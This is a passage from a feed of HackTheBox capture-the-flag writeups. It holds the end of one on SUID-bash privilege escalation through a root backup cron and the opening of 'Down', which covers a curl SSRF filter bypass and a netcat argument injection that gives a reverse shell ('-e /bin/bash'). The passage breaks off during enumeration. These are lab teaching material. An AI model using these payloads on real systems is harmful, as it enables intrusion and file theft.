&lt;pre class="highlight shell"&gt;&lt;code&gt;postgres@slonik:~/14/main&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cp&lt;/span&gt; /bin/bash cbash
postgres@slonik:~/14/main&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +s cbash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wait up to a minute for the cron. When it fires, root copies everything including our SUID bash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;postgres@slonik:~/14/main&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lah&lt;/span&gt; /opt/backups/current/cbash
&lt;span class="nt"&gt;-rwsr-sr-x&lt;/span&gt; 1 root root 1.4M Jun 28 09:32 cbash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Owner is root, SUID bit is set. We run it with &lt;code&gt;-p&lt;/code&gt; to keep the elevated privileges:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;postgres@slonik:/opt/backups/current&lt;span class="nv"&gt;$ &lt;/span&gt;./cbash &lt;span class="nt"&gt;-p&lt;/span&gt;
cbash-5.1# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
cbash-5.1# &lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NFS world-readable shares
        ↓
Read /home/service/.psql_history (UID spoof)
        ↓
MD5 hash → password: service
        ↓
SSH port forward (bypasses /bin/false)
        ↓
Postgres superuser via Unix socket tunnel
        ↓
COPY FROM PROGRAM → RCE as postgres
        ↓
SSH key injection → stable shell + user.txt
        ↓
postgres owns data dir → drop SUID bash
        ↓
Root cron copies SUID bash → root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Where&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NFS exported with &lt;code&gt;*&lt;/code&gt; and no &lt;code&gt;root_squash&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/exports&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MD5 hash stored in shell history&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/service/.psql_history&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Postgres superuser with no password (trust auth)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pg_hba.conf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH port forwarding not restricted for &lt;code&gt;/bin/false&lt;/code&gt; accounts&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sshd_config&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root cron copies from postgres-owned directory, preserving SUID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/usr/bin/backup&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: Down Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 27 Jun 2026 17:43:19 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-down-writeup-ggg</link>
      <guid>https://dev.to/exploitnotes/hackthebox-down-writeup-ggg</guid>
      <description>&lt;h2&gt;
  
  
  Executive Summary
&lt;/h2&gt;

&lt;p&gt;Down is an easy Linux machine running a simple "Is it down or just me?" web checker. The site uses &lt;code&gt;curl&lt;/code&gt; server-side to test URLs - making it a classic SSRF target. The protocol filter (&lt;code&gt;http://&lt;/code&gt; or &lt;code&gt;https://&lt;/code&gt; only) can be bypassed by injecting a space between the allowed prefix and a &lt;code&gt;file://&lt;/code&gt; URI, allowing arbitrary local file reads. Reading &lt;code&gt;index.php&lt;/code&gt; reveals hidden source code including an undocumented &lt;code&gt;expertmode=tcp&lt;/code&gt; feature that runs &lt;code&gt;nc&lt;/code&gt; with unsanitized input. Since the IP passes &lt;code&gt;FILTER_VALIDATE_IP&lt;/code&gt; but the port does not strip extra arguments, appending &lt;code&gt;-e /bin/bash&lt;/code&gt; to the port field gives a reverse shell as &lt;code&gt;www-data&lt;/code&gt;. In the web root we find a user flag. Enumerating the filesystem reveals a &lt;code&gt;pswm&lt;/code&gt; password manager vault in aleks's home directory. We crack it offline using a public decryptor tool and rockyou.txt, recovering aleks's SSH password. Aleks has full sudo rights, so &lt;code&gt;sudo su&lt;/code&gt; trivially gives root.&lt;/p&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Reconnaissance&lt;/li&gt;
&lt;li&gt;Web Enumeration&lt;/li&gt;
&lt;li&gt;SSRF - File Read via Protocol Bypass&lt;/li&gt;
&lt;li&gt;Source Code Disclosure&lt;/li&gt;
&lt;li&gt;Initial Access - Expert Mode Command Injection&lt;/li&gt;
&lt;li&gt;User Flag&lt;/li&gt;
&lt;li&gt;Privilege Escalation - pswm Password Vault&lt;/li&gt;
&lt;li&gt;Root Flag&lt;/li&gt;
&lt;li&gt;Attack Chain Summary&lt;/li&gt;
&lt;li&gt;Key Vulnerabilities&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;root@kali#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;span class="go"&gt;
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
OS: Linux 4.15 - 5.19
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only two ports open - SSH and HTTP. No TLS, no subdomains visible from nmap. We focus on the web application.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Web Enumeration
&lt;/h2&gt;

&lt;p&gt;Browsing to &lt;code&gt;http://&amp;lt;TARGET_IP&amp;gt;/&lt;/code&gt; shows a simple URL checker: "Is that website down, or is it just you?" - a form that takes a URL and pings it server-side.&lt;/p&gt;

&lt;p&gt;We first try pointing the form at a Python HTTP server to see if there's any callback, and while we do get a hit, we can't see what files are being requested or saved — just that &lt;em&gt;something&lt;/em&gt; connected. We also can't access any uploaded/saved files from the outside, so a Python server alone doesn't tell us much about the backend behaviour.&lt;/p&gt;

&lt;p&gt;We switch to Netcat to catch the raw request and see exactly what the server sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Submitting &lt;code&gt;http://&amp;lt;YOUR_IP&amp;gt;:4444&lt;/code&gt; shows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;connect to [&amp;lt;YOUR_IP&amp;gt;] from (UNKNOWN) [&amp;lt;TARGET_IP&amp;gt;] 49420
&lt;/span&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;lt;YOUR_IP&amp;gt;:4444&lt;/span&gt;
&lt;span class="na"&gt;User-Agent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;curl/7.81.0&lt;/span&gt;
&lt;span class="na"&gt;Accept&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;*/*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This immediately tells us the backend is using &lt;strong&gt;&lt;code&gt;curl&lt;/code&gt;&lt;/strong&gt; to fetch our URL — the &lt;code&gt;User-Agent&lt;/code&gt; gives it away. That's a classic SSRF setup and also hints that we might be able to pass extra arguments to curl if input isn't sanitised properly.&lt;/p&gt;

&lt;p&gt;Directory and path fuzzing (&lt;code&gt;ffuf&lt;/code&gt;, &lt;code&gt;gobuster&lt;/code&gt;) return nothing interesting beyond &lt;code&gt;index.php&lt;/code&gt;. Trying to access the target's own &lt;code&gt;localhost&lt;/code&gt; or internal addresses times out. We pivot to abusing the curl SSRF directly.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. SSRF - File Read via Protocol Bypass
&lt;/h2&gt;

&lt;p&gt;The form validates that URLs start with &lt;code&gt;http://&lt;/code&gt; or &lt;code&gt;https://&lt;/code&gt;. Testing &lt;code&gt;file:///etc/passwd&lt;/code&gt; directly returns:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Only protocols http or https allowed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We try a quirk: entering &lt;code&gt;http:// file:///etc/passwd&lt;/code&gt; (with a space between &lt;code&gt;http://&lt;/code&gt; and &lt;code&gt;file://&lt;/code&gt;) in the browser. This doesn't throw an error - but it also shows nothing useful in the page output. Suspicious enough to investigate further.&lt;/p&gt;

&lt;p&gt;We try the same thing via curl to see the raw response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;TARGET_IP&amp;gt;/index.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'url=http://+file:///etc/passwd'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;+&lt;/code&gt; in a POST body decodes to a space — equivalent to &lt;code&gt;%20&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... [snipped]
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have arbitrary local file read as &lt;code&gt;www-data&lt;/code&gt;. The filter is bypassed — the server accepted &lt;code&gt;http:// file:///etc/passwd&lt;/code&gt; without complaint and passed it straight to &lt;code&gt;curl&lt;/code&gt;, which processed the &lt;code&gt;file://&lt;/code&gt; part and read the local file.&lt;/p&gt;

&lt;p&gt;Notable: one non-system user - &lt;strong&gt;&lt;code&gt;aleks&lt;/code&gt;&lt;/strong&gt; - with a home directory at &lt;code&gt;/home/aleks&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Source Code Disclosure
&lt;/h2&gt;

&lt;p&gt;Since we can read local files, we read the web application's own source code to understand exactly what the server is doing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;TARGET_IP&amp;gt;/index.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'url=http://+file:///var/www/html/index.php'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The response dumps the full &lt;code&gt;index.php&lt;/code&gt; source (HTML-entity-encoded inside the page output). The key parts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// URL check mode — the main form&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;elseif&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'url'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;$url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'url'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'|^https?://|'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$rc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$ec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;escapeshellcmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/curl -s &lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ec&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;" 2&amp;gt;&amp;amp;1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$rc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;font color=red size=+1&amp;gt;Only protocols http or https allowed.&amp;lt;/font&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This explains the bypass: &lt;code&gt;preg_match('|^https?://|', $url)&lt;/code&gt; only checks that the string &lt;em&gt;starts with&lt;/em&gt; &lt;code&gt;http://&lt;/code&gt;. It doesn't validate anything that comes after. So &lt;code&gt;http:// file:///etc/passwd&lt;/code&gt; passes the check, then &lt;code&gt;escapeshellcmd&lt;/code&gt; is called on the whole string - but &lt;code&gt;escapeshellcmd&lt;/code&gt; doesn't strip spaces or extra arguments, it only escapes shell metacharacters like &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;. The result is that &lt;code&gt;curl&lt;/code&gt; receives two separate arguments: the useless &lt;code&gt;http://&lt;/code&gt; and the real &lt;code&gt;file:///etc/passwd&lt;/code&gt;, and happily reads the file.&lt;/p&gt;

&lt;p&gt;The source also reveals something much more interesting - a &lt;strong&gt;hidden expert mode&lt;/strong&gt; that's never linked anywhere on the site:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Hidden expert mode - only active when ?expertmode=tcp is in the query string&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'expertmode'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'expertmode'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'tcp'&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;h1&amp;gt;Is the port refused, or is it just you?&amp;lt;/h1&amp;gt;
        &amp;lt;form ... action="index.php?expertmode=tcp" method="POST"&amp;gt;
            &amp;lt;input type="text" name="ip" ...&amp;gt;
            &amp;lt;input type="number" name="port" ...&amp;gt;
        &amp;lt;/form&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Expert mode handler&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'expertmode'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'expertmode'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'tcp'&lt;/span&gt;
     &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'ip'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'port'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;$ip&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'ip'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="nv"&gt;$valid_ip&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;filter_var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;FILTER_VALIDATE_IP&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nv"&gt;$port&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'port'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="nv"&gt;$port_int&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;intval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nv"&gt;$valid_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;filter_var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$port_int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;FILTER_VALIDATE_INT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$valid_ip&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$valid_port&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$ec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;escapeshellcmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/nc -vz &lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ec&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;" 2&amp;gt;&amp;amp;1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$rc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The expert mode takes an IP and port, validates them, then runs &lt;code&gt;nc -vz &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt;&lt;/code&gt; to check if a port is open. And there's a bug right in the validation logic — the port is validated using &lt;code&gt;intval($port)&lt;/code&gt; but the &lt;em&gt;raw original string&lt;/em&gt; &lt;code&gt;$port&lt;/code&gt; is what gets passed to &lt;code&gt;escapeshellcmd&lt;/code&gt;. That means anything appended after the integer - like &lt;code&gt;-e /bin/bash&lt;/code&gt; — gets carried through unvalidated.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Initial Access - Expert Mode Command Injection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The vulnerability
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;escapeshellcmd&lt;/code&gt; is the wrong tool here. It escapes shell metacharacters like &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, and backticks — but it leaves spaces and additional arguments completely intact. So passing &lt;code&gt;4444 -e /bin/bash&lt;/code&gt; as the port value results in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/bin/nc &lt;span class="nt"&gt;-vz&lt;/span&gt; &amp;lt;YOUR_IP&amp;gt; 4444 &lt;span class="nt"&gt;-e&lt;/span&gt; /bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A perfectly valid &lt;code&gt;nc&lt;/code&gt; command that connects back and executes bash.&lt;/p&gt;

&lt;p&gt;The IP validation (&lt;code&gt;FILTER_VALIDATE_IP&lt;/code&gt;) is strict and correct — we can't inject there. But the port field only validates the leading integer, not the full string, leaving the rest of the value free to carry extra arguments.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploitation
&lt;/h3&gt;

&lt;p&gt;Start a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Send the exploit via curl, injecting &lt;code&gt;-e /bin/bash&lt;/code&gt; after the port number (space-encoded as &lt;code&gt;+&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s1"&gt;'http://&amp;lt;TARGET_IP&amp;gt;/index.php?expertmode=tcp'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'ip=&amp;lt;YOUR_IP&amp;gt;&amp;amp;port=4444+-e+/bin/bash'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;nc -lnvp 4444
listening on [any] 4444 ...
&lt;/span&gt;&lt;span class="gp"&gt;connect to [&amp;lt;YOUR_IP&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;TARGET_IP&amp;gt;] ...
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;www-data@down:/var/www/html$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;www-data
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have a shell as &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. User Flag
&lt;/h2&gt;

&lt;p&gt;Listing the web root immediately reveals an unusual file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@down:/var/www/html&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;index.php  logo.png  style.css  user_aeT1xa.txt

www-data@down:/var/www/html&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user_aeT1xa.txt
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user flag is sitting in the web root, readable by &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Post-exploitation enumeration
&lt;/h3&gt;

&lt;p&gt;We check aleks's home directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
